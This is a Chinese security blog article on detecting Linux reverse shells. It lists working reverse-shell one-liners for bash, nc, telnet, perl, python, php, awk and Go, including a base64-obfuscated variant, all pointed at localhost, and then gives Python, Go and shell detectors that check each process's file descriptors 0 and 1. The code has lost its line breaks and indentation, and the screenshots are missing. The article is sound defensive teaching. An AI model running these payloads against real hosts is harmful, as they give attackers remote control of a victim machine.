反弹shell检测的一些思路

前言

反弹shell是攻击者常用的手段之一，通过反弹Shell，攻击者可以绕过防火墙，获取目标系统的shell访问权限，进行后续的恶意操作。因此，及时检测并阻止反弹Shell行为对于安全防护来说非常重要。本文通过介绍反弹shell的常用手段，探讨检测的思路以及简单的代码实现。

反弹shell

基本概念

反弹shell常用于防火墙或网络策略仅允许出站连接，并限制未授权的入站连接的情景。利用允许出站后门连接的这一点，攻击者可以绕过通过基于入站规则的网络防护，从而远程控制目标计算机。

举个例子，在一台目标Linux系统上，攻击者可能会利用某个漏洞执行如下命令，使目标机创建一个反弹Shell到攻击者的服务器：

bash -i >& /dev/tcp/ip/端口 0>&1

在这个命令中：

bash -i表示启动一个交互式的bash终端。
>& /dev/tcp/攻击者的IP地址/端口这一部分使得bash通过TCP连接与攻击者的IP地址和端口通信。

0>&1将标准输入（0）重定向到标准输出（1），确保输入和输出都通过网络连接。

反弹Shell的本质是一种网络连接的反转操作，将命令行界面从远程系统重定向回攻击者的控制终端。

常用手法

Bash

监听：nc -lvvp 2333
连接：bash -i >& /dev/tcp/127.0.0.1/2333 0>&1  #TCP

执行效果如下：

可以看到命令执行完之后，创建了一个常住进程bash -i，它的0和1文件描述符都指向socket。

监听：nc -u -lvp 2333
连接：sh -i >& /dev/udp/127.0.0.1/2333 0>&1

执行效果如下：

可以看到，执行完创建了一个常住进程sh -i，它的的0和1文件描述符都指向socket。

0<&196;exec 196<>/dev/tcp/127.0.0.1/2333; sh <&196 >&196 2>&196

执行效果如下：

可以看到，执行完创建了sh进程，0和1描述符都指向了socket。

exec 5<>/dev/tcp/127.0.0.1/2333; while read line 0<&5; do $line 2>&5 >&5; done

执行效果如下：

可以看到创建了sh进程，0和1描述符都指向了socket。

nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/2333 0>&1'

base64转一下试试呢

echo "nohup bash -c 'bash -i >& /dev/tcp/127.0.0.1/2333 0>&1'" | base64 -w0
echo bxx(说是敏感词，自己转一下哈)odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYxJwo= | base64 -d | bash 2>/dev/null

执行效果如下：

可以看到创建了bash进程，0和1描述符都指向了socket。

nc

nc -e /bin/sh 127.0.0.1 2333
如果nc 不支持 -e
nc  127.0.0.1 2333 | /bin/sh #Blind
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc  127.0.0.1 2333 1>/tmp/bkpipe
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc  127.0.0.1 2333 >/tmp/f

执行完之后，可以看到目标机创建了sh进程，0和1描述符都指向了pipe，这两个pipe关联到文件和nc上。nc创建了socket外联。如图所示：

Telnet

当/dev/tcp不可用，且目标主机和攻击机上支持Telnet服务时，可以使用Telnet反弹shell。

基础的命令

telnet 127.0.0.1 2333 | /bin/sh

执行效果如下：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 127.0.0.1 2333 >/tmp/f
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet 127.0.0.1 2333 1>/tmp/bkpipe

可以看到以上的执行完了之后，都创建了sh进程，0和1描述符都指向了pipe。

telnet 127.0.0.1 2333 | /bin/bash | telnet 127.0.0.1 1234

这个创建了bash进程，0和1描述符都指向了pipe。

Perl

perl -e 'use Socket;$i="127.0.0.1";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[127.0.0.1]:[2333]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

执行效果如下：

执行完之后创建了sh进程，0和1描述符都指向了socket。

Python

export RHOST="127.0.0.1";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

执行效果如下：

目标机创建了sh进程，0和1描述符都指向了socket。

php

php -r '$sock=fsockopen("127.0.0.1",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

执行效果如下：

执行完之后，目标机上创建了sh进程，0和1描述符都指向了socket。

Awk

awk 'BEGIN {s = "/inet/tcp/0/127.0.0.1/2333"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

执行效果如下：

创建了一个常住进程sh，它的的0和1文件描述符都指向socket。

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:2333");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

目标机执行后的结果如下：

创建了sh进程，0和1描述符都指向了pipe。

介于篇幅考虑，Java，Nodejs，openssl，Metasploit，lua，Ruby等，我这就不演示了哈。

大家可以去试一下，你会发现shell环境（包括sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash）的进程0和1（或某一个）文件描述符都关联到socket或者pipe。

检测思路

通过上面的演示中，归纳起来，shell环境的进程如果0和1（或某一个）文件描述符都关联到socket或者pipe，就认为它是反弹shell。

通过检查进程的文件描述符0（标准输入）和1（标准输出），是否都被关联到了socket或者pipe，如果是，则认为是反弹shell行为。

基本实现

Python

import osdef is_socket_or_pipe(fd_path):
if os.path.exists(fd_path):
if os.path.islink(fd_path):
fd_target = os.readlink(fd_path)
return 'socket:' in fd_target or 'pipe:' in fd_target
return Falsedef get_process_details(pid):
process_details = {'pid': pid}cmdline_path = f'/proc/{pid}/cmdline'
environ_path = f'/proc/{pid}/environ'
status_path = f'/proc/{pid}/status'# 读取进程的命令行信息
try:
with open(cmdline_path, 'r') as cmdline_file:
cmdline = cmdline_file.read()
cmdline = cmdline.replace('\x00', ' ').strip()  # cmdline参数是以\x00分隔的
process_details['cmdline'] = cmdline
except Exception:
process_details['cmdline'] = 'Unavailable'# 读取进程的环境变量
try:
with open(environ_path, 'r') as environ_file:
environ = environ_file.read()
environ = environ.replace('\x00', ', ').strip()  # 环境变量以\x00分隔
process_details['environ'] = environ
except Exception:
process_details['environ'] = 'Unavailable'# 读取进程状态信息，如名称、状态等
try:
with open(status_path, 'r') as status_file:
status_lines = status_file.readlines()
for line in status_lines:
if line.startswith('Name:') or line.startswith('State:'):
key, value = line.split(':')
process_details[key.strip().lower()] = value.strip()
except Exception:
process_details['name'] = 'Unavailable'
process_details['state'] = 'Unavailable'return process_detailsdef check_all_processes_for_reverse_shell():
for pid in os.listdir('/proc'):
if pid.isdigit():
fd_dir = f'/proc/{pid}/fd'
stdin_fd = f'{fd_dir}/0'
stdout_fd = f'{fd_dir}/1'try:
stdin_is_socket_or_pipe = is_socket_or_pipe(stdin_fd)
stdout_is_socket_or_pipe = is_socket_or_pipe(stdout_fd)if stdin_is_socket_or_pipe and stdout_is_socket_or_pipe:
details = get_process_details(pid)
print(f"Process {pid} 可能存在反弹shell:\n{details}\n")
except FileNotFoundError:
continue
except PermissionError:
continueif __name__ == '__main__':
check_all_processes_for_reverse_shell()

运行效果：

Golang

package mainimport (
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
)type ProcessInfo struct {
PID     string
Command string
}func main() {
processList := GetProcessList()
for _, process := range processList {
if isReboundShell(process.PID) {
fmt.Printf("Rebound Shell Detected: %+v\n", process)
}
}
}func GetProcessList() []ProcessInfo {
processPath := "/proc"
processDirs, err := os.ReadDir(processPath)
if err != nil {
fmt.Printf("Error reading /proc: %s\n", err)
return nil
}processList := make([]ProcessInfo, 0, len(processDirs))
for _, dir := range processDirs {
if !dir.IsDir() {
continue
}
pidStr := dir.Name()
_, err := strconv.Atoi(pidStr)
if err != nil {
continue
}command := readCmdlineFile(pidStr)p := ProcessInfo{
PID:     pidStr,
Command: command,
}processList = append(processList, p)
}return processList
}func readCmdlineFile(pidStr string) string {
cmdlineFile := filepath.Join("/proc", pidStr, "cmdline")
cmdlineBytes, err := os.ReadFile(cmdlineFile)
if err != nil {
return ""
}
cmdline := strings.ReplaceAll(string(cmdlineBytes), string(0), " ")
return strings.TrimSpace(cmdline)
}func isReboundShell(pidStr string) bool {
fd0Path := filepath.Join("/proc", pidStr, "fd", "0")
fd1Path := filepath.Join("/proc", pidStr, "fd", "1")fd0Target, err0 := os.Readlink(fd0Path)
fd1Target, err1 := os.Readlink(fd1Path)if err0 != nil || err1 != nil {
return false
}if (strings.HasPrefix(fd0Target, "socket:") || strings.HasPrefix(fd0Target, "pipe:")) &&
(strings.HasPrefix(fd1Target, "socket:") || strings.HasPrefix(fd1Target, "pipe:")) {
return true
}return false
}

运行效果

Shell

#!/bin/bash# 检查每个进程的文件描述符
for pid in $(ps -e | awk '{if(NR>1) print $1}'); do
# 忽略不存在的进程的错误信息
if [ ! -d /proc/$pid ]; then
continue
fi# 检查标准输入 (fd 0)
fd0=$(ls -l /proc/$pid/fd/0 2>/dev/null)
# 检查标准输出 (fd 1)
fd1=$(ls -l /proc/$pid/fd/1 2>/dev/null)# 使用grep检查fd是否是socket或pipe
if echo "$fd0" | grep -qE 'socket|pipe'; then
if echo "$fd1" | grep -qE 'socket|pipe'; then
echo "可能的反弹Shell进程: PID=$pid"
# 使用tr命令替换空字符为一个空格
cmdline=$(tr '\0' ' ' < /proc/$pid/cmdline)
echo "命令行: $cmdline"
fi
fi
done